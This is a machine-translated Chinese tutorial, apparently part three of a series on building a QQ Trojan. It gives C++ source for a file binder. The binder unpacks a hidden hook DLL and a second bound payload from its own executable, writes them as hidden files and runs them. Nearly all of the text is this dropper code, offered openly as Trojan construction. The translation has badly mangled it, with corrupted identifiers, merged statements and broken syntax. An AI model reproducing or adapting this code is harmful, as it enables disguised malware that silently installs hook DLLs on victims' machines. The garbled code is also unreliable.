Do it yourself to do QQ Trojan - file bindings (3)

zhaozj2021-02-16  43

3. Unbind_and_run () // Decomposing the merged file, running them Bool cbindfile :: unbind_and_run () {handle hfileout = null; // Store Decomposition Download BYTESIN = 0; // A number of data reads DWORD BYTESOUT = 0; // Write data number DWORD TOTALBYTES = 0; // After reading, the remaining reading number cString Temp_dll = strunbindFilePath_dll; // Decomposed DLL file name CSTRING TEMP_SEC; / / Decomposition Ding file name DWORD prog_length = 0; // Bind file length unsigned int i = 0; // Position file pointer to the long tail IF of the bundle program (SETFILEMYSELF, (long) modify_data.my_length, null, file_begin) ! = modify_data.my_length) {// Location file pointer error messagebox (null, "file decomposition, positioning file pointer error!", null, null;} // Read the first binding file length IF (0 == Readfile (HFileMyself, & Prog_length, SizeOf (Prog_length), & Bytesin, NULL) {// MessageBox (NULL, "in the separation file, error when reading the first binding file length!", "Error ", MB_OK); RETURN FALSE;} // Read file extension IF (0 == Readfile (HFileMyself, M_ext, 3, & Bytesin, NULL)) {MessageBox (NULL," in the separation file, read the first Binding file extension Error! "," Error ", MB_OK; return false;} // see if the file already exists, there is no need to decompose.

hFileOut = CreateFile (temp_Dll, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_HIDDEN, NULL); if (! INVALID_HANDLE_VALUE = hFileOut) {// file pointer is moved forward directly to the length of the file size SetFilePointer (hFileMyself, prog_length, NULL, FILE_CURRENT );} else {// create a file first decomposed, i.e. HOOK.DLL hFileOut = CreateFile (temp_Dll, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); if (INVALID_HANDLE_VALUE == hFileOut) {MessageBox (NULL , "in a separate file, the first error creating a bound document!", "error", MB_OK); return false;} // read the data written to the first prog_length length and contents of a file totalbytes = prog_length; DO {if (Totalbytes <= BUF_SIZE) {// Last read IF (0 == Readfile (HfileMyself, BUF, TOTALBYTES, & BYTESIN, NUF) {CloseHandle (Hfileout); MessageBox (NULL, "Separation file, read Take the first one to be bound to the content! ", Null, null; return false;}} else {if (0 == Readfile (HFILEMYSELF, BUF, BUF_SIZE, & BYTESIN, NULL) {CloseHandle (HFileout); MessageBox (NULL, "in the Issue, read the first bound file content!" NULL, NULL); RETURN FALSE }} // Write read data IF (0 == Writefile (Hfileout, BYTESIN, & BYTESOUT, NULL)) {CloseHandle (HFileout); MessageBox (NULL, "Decomposition file, write the first file An error occurred! ", Null, null; return false;} // minus the number of reads until you read TOTALBYTES - = bytesin;} while (0! = Totalbytes);

PROG_LENGTH = 0; zeromemory (m_ext, sizeof (m_ext)); CloseHandle (HFileout); // Read the length IF of the second binding file (0 == Readfile (HFileMyself, & Prog_length, Sizeof (PROG_LENGTH), & BYTESIN, NULL )) {MessageBox (NULL, "in the separation file, error when reading the second binding file length!", "Error", MB_OK; Return False;} // Read file extension IF (0 == Readfile (HFileMyself, M_EXT, 3, & BYTESOUT, NULL)) {MessageBox (NULL, "Separation file, reading the second binding file execution flag error!", "Error", MB_OK; RETURN FALSE;} / / Determine the second decomposition of the name TEMP_SEC.FORMAT ("% sqicq.% S", szmyfilepath, m_ext); strunbindfilepath_sec = TEMP_SEC; MessageBox (null, temp_sec, null, null); // Create a second tied given file hFileOut = CreateFile (temp_Sec, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); if (INVALID_HANDLE_VALUE == hFileOut) {MessageBox (NULL, "in a separate file, an error is bound to create a second file! "," Wrong ", MB_OK; return false;} Totalbytes = prog_length; do {ix (Totalbytes <= B Uf_size) {if (0 == Readfile (HfileMyself, BUF, TOTALBYTES, & BYTESIN, NUF, TOTALBYTES, & BYTESIN, NUF)) {CloseHandle (HFileout); MessageBox (NULL, "in the Isolated File, read the first binding file content!" , NULL, NULL; RETURN FALSE;}} else {if (== Readfile (HFileMyself, BUF, BUF_SIZE, & BYTESIN, NUF)) {CloseHandle (HFileout); MessageBox (NULL, "Separation file, reading second An error occurred when binding file content! ", Null, null; return false;}}} (0 == Writefile (Hfileout, BYTESIN, & BYTESOUT, NULL) {CloseHandle (Hfileout); MessageBox (null," Decompose files,

Error when writing the second file! ", Null, null; returnaf,} Totalbytes - = Bytesin;} while (0! = TotalBytes); CloseHandle (null, temp_sec," print ", NULL); // Run Decompose target file Create_Process (TEMP_SEC, TRUE); Return true;}

4.clonemyself_and_run () / Decomposing the original binding file and the DLL file as a new file content and server, // Decompose the bound file, running them BOOL CBINDFILE :: CloneMyself_and_run () {handle hfileout = null DWORD BYTESIN = 0; // Read the number of bytes dword bytesout = 0; // Write the number of bytes dword totalbytes = 0; // DWORD PROG_LENGTH = 0 each time you read ; // The size of the file CString Temp_fst; // Decomposed the first file name CString Temp_sec; // Decomposed second file name // randomly generate a file name TEMP_FST.FORMAT ("% s% 06d.exe ", szMyFilePath, rand ()); MessageBox (NULL, temp_Fst, NULL, NULL); // build file to be written hFileOut = CreateFile (temp_Fst, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); IF (Invalid_Handle_Value == HFILEOUT) {// Establishing a target file Error MessageBox (NULL, "in the clone file, creating the first file fails!", null, null; return false;} setfilepointer (HfileMyself, 0, null, file_begin ); Totalbytes = modify_data.my_length; do {if (Totalbytes <= BUF_SIZE) {Readfil e (hFileMyself, buf, totalbytes, & bytesin, NULL);} else {ReadFile (hFileMyself, buf, BUF_SIZE, & bytesin, NULL);} WriteFile (hFileOut, buf, bytesin, & bytesout, NULL); totalbytes - = bytesin;} while (0! = TOTALBYTES); // Next, the length of the DLL and the run flag IF (0 == Readfile (HfileMyself, & prog_length, sizeof (prog_length), & bytesin, null) {// read the DLL file length error MessageBox NULL, "Cloning itself, reading the length of the DLL file!", Null, null; closehandle (hfileout); return false;} if (0 == Writefile (Hfileout, & Prog_length, Sizeof (PROG_LENGTH), & BYTESOUT, NULL )) {// Write the DLL file length error MESSAGEBOX (NULL, "in the negative file,

Write a DLL file length error! ", Null, null); closehandle (hfileout); return false;} Totalbytes = prog_length 3; do {if (Totalbytes <= buf_size) {Readfile (HfileMyself, BUF, Totalbytes, & Bytesin, Null } Else {readfile (HfileMyself, BUF, BUF_SIZE, & BYTESIN, NULL);} Writefile (Hfileout, BYTESIN, & BYTESOUT, NULL); Totalbytes - = bytesin;} while (0! = Totalbytes); CloseHandle (HFileout) ; // Run the file and wait for the file to run, delete its temporary file process_information pi; startupinfo si; zeromeMory (& Si, Sizeof (Si)); ZeromeMory (& Pi, Sizeof) )); if (Create_Process (temp_Fst, true)) {GetRunFileProcessInfo (PI); temporary files are deleted after the end of decomposition // run WaitForSingleObject (PI.hProcess, INFINITE); DWORD dwExitCode; GetExitCodeProcess (PI.hProcess, & dwExitCode); CloseHandle (PI.hthread); CloseHandle (PI.hprocess);} deletefile (TEMP_FST); // Decompose the second file and run PROG_LENGTH = 0; ZeromeMory (& M_EXT, SIZEOF (M_ext)); // Read the second Binding file length IF (0 == Readfile (HFileMyse) LF, PROG_LENGTH, SIZEOF (PROG_LENGTH), & BYTESIN, NULL) {MessageBox (null, "in the separation file, reading the second binding file length fails!", "error", MB_OK; RETURN FALSE;} // Read file extension if (0 == Readfile (HFileMyself, M_EXT, 3, & BYTESOUT, NULL)) {MessageBox (NULL, "Separation file, read the second binding file execution flag error!" , "Error", MB_OK; RETURN FALSE;} / / Determine the second decomposition of the name TEMP_SEC.FORMAT ("% s% 06d.% S", szmyfilepath, rand (), m_ext); MessageBox (null, Temp_sec, null, null; // Create a second binding file Hfileout =

CreateFile (temp_Sec, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); if (INVALID_HANDLE_VALUE == hFileOut) {MessageBox (NULL, "! Separate file, create a file error occurred while bound second", "Error" , MB_OK); return false;} totalbytes = prog_length; do {if (totalbytes <= bUF_SIZE) {if (0 == ReadFile (hFileMyself, buf, totalbytes, & bytesin, NULL)) {CloseHandle (hFileOut); MessageBox (NULL, "In the separation file, read the first binding file when the first binding file is incorrect!" NULL, NULL); Return False;}} else {IF (0 == Readfile (HFileMyself, BUF, BUF_SIZE, & BYTESIN, NULL)) {CloseHandle (HFILEOUT); MessageBox (NULL, "Separation file, error when reading the second binding file!", Null, null; returnaf (})} if (0 == Writefile (HFileout, BUF) , BYTESIN, & BYTESOUT, NULL) {CloseHandle (HFileout); MessageBox (NULL, "Decomposition file, error when writing the second file!", null, null;} totalbytes - = bytesin;} While (0! = TOTALBYTES); CloseHandle (HFILEOUT); / / To set up an execution method for the second file ( 0 == LSTRCMP (m_ext, "exe")) {if (create_process (TEMP_SEC, TRUE)) {GtrunFileProcessInfo (Pi); // Delete Decompose Temporary Document WaitForsingleObject (PI.hProcess, Infinite); CloseHandle Pi.hthread;} ​​deletefile;} else {create_process (Temp_sec, false);} return true;} Because this program cannot be single-step debugging, you can only pop up dialogue by running The box prompts the value of the variable to determine the state of the program run, so many Messagebox has been added in the program. Before the program is released, these MessageBox is hidden, otherwise it will be stuffed. Haha ~ Finally, I would like to thank the Future Studio, which is overwritten based on his "how to bundle with multiple files into a executable" article in the article.

转载请注明原文地址:https://www.9cbs.com/read-27884.html

New Post(0)